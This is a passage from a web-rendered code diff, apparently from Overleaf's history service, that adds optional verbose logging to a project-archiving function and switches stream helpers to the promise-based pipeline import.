*/
|
*/
|
||||||
export async function archiveRawProject(
|
export async function archiveRawProject(
|
||||||
archive,
|
archive,
|
||||||
historyId,
|
historyId,
|
||||||
useBackupGlobalBlobs = false
|
useBackupGlobalBlobs = false,
|
||||||
|
verbose = false
|
||||||
) {
|
) {
|
||||||
const projectCache = await getProjectPersistor(historyId)
|
const projectCache = await getProjectPersistor(historyId)
|
||||||
|
|
||||||
@@ -454,11 +497,15 @@ export async function archiveRawProject(
|
|||||||
|
|
||||||
const { buffer } = await loadChunkByKey(projectCache, key)
|
const { buffer } = await loadChunkByKey(projectCache, key)
|
||||||
|
|
||||||
archive.append(buffer, {
|
const entryName = `${historyId}/chunks/${chunkId}/chunk.json`
|
||||||
name: `${historyId}/chunks/${chunkId}/chunk.json`,
|
await addEntry(archive, buffer, {
|
||||||
|
name: entryName,
|
||||||
})
|
})
|
||||||
|
if (verbose) {
|
||||||
|
logger.info({ entryName }, 'added to archive')
|
||||||
|
}
|
||||||
}
|
}
|
||||||
await addRawBlobsToArchive(historyId, archive, projectCache)
|
await addRawBlobsToArchive(historyId, archive, projectCache, verbose)
|
||||||
}
|
}
|
||||||
|
|
||||||
export class BackupPersistorError extends OError {}
|
export class BackupPersistorError extends OError {}
|
||||||
|
|||||||
@@ -6,19 +6,19 @@
|
|||||||
*/
|
*/
|
||||||
'use strict'
|
'use strict'
|
||||||
|
|
||||||
const Stream = require('node:stream')
|
const { pipeline } = require('node:stream/promises')
|
||||||
const zlib = require('node:zlib')
|
const zlib = require('node:zlib')
|
||||||
const { WritableBuffer } = require('@overleaf/stream-utils')
|
const { WritableBuffer } = require('@overleaf/stream-utils')
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Create a promise for the result of reading a stream to a buffer.
|
* Create a promise for the result of reading a stream to a buffer.
|
||||||
*
|
*
|
||||||
* @param {Stream.Readable} readStream
|
* @param {import('node:stream').Readable} readStream
|
||||||
* @return {Promise<Buffer>}
|
* @return {Promise<Buffer>}
|
||||||
*/
|
*/
|
||||||
async function readStreamToBuffer(readStream) {
|
async function readStreamToBuffer(readStream) {
|
||||||
const bufferStream = new WritableBuffer()
|
const bufferStream = new WritableBuffer()
|
||||||
await Stream.promises.pipeline(readStream, bufferStream)
|
await pipeline(readStream, bufferStream)
|
||||||
return bufferStream.contents()
|
return bufferStream.contents()
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -33,7 +33,7 @@ exports.readStreamToBuffer = readStreamToBuffer
|
|||||||
async function gunzipStreamToBuffer(readStream) {
|
async function gunzipStreamToBuffer(readStream) {
|
||||||
const gunzip = zlib.createGunzip()
|
const gunzip = zlib.createGunzip()
|
||||||
const bufferStream = new WritableBuffer()
|
const bufferStream = new WritableBuffer()
|
||||||
await Stream.promises.pipeline(readStream, gunzip, bufferStream)
|
await pipeline(readStream, gunzip, bufferStream)
|
||||||
return bufferStream.contents()
|
return bufferStream.contents()
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user